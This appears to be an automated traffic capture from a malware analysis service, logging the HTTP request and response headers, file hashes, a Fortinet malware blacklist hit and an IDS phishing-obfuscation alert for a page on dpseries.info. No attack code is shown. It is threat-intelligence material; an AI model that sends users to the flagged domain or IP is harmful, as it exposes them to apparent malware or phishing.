User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://dpseries.info/power-saison-1/
X-Moz: prefetch
Cookie: s1000201317=1,1541778575385; smrRecU=1541778575385

                                         
                                         185.66.141.145
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 09 Nov 2018 15:49:31 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding, Accept-Encoding,User-Agent
X-Pingback: http://dpseries.info/xmlrpc.php
Link: <http://dpseries.info/wp-json/>; rel="https://api.w.org/", <http://dpseries.info/?p=6688>; rel=shortlink
Expires: Fri, 09 Nov 2018 16:49:31 GMT
Pragma: public
Cache-Control: max-age=3600, public
X-Powered-By: W3 Total Cache/0.9.6
Last-Modified: Fri, 09 Nov 2018 15:49:31 GMT
Etag: W/"f204a25f5e1a3270ff1ec3fa7490db5a"
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Nginx-Cache-Status: MISS
X-Server-Powered-By: Engintron
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   15907
Md5:    3e1a059931029d67026d306e72a4d472
Sha1:   f7fc75cb9dad20ab4e1becde82ac6c704797e0f7
Sha256: 17a1ec0215b4dbd57cc8760c99da57e174a86397f8971e716fd7f23092ff19bd

Alerts:
  Blacklists:
    - fortinet: Malware
  IDS:
    - ETPRO CURRENT_EVENTS Possible Phishing Landing Obfuscation 2016-02-26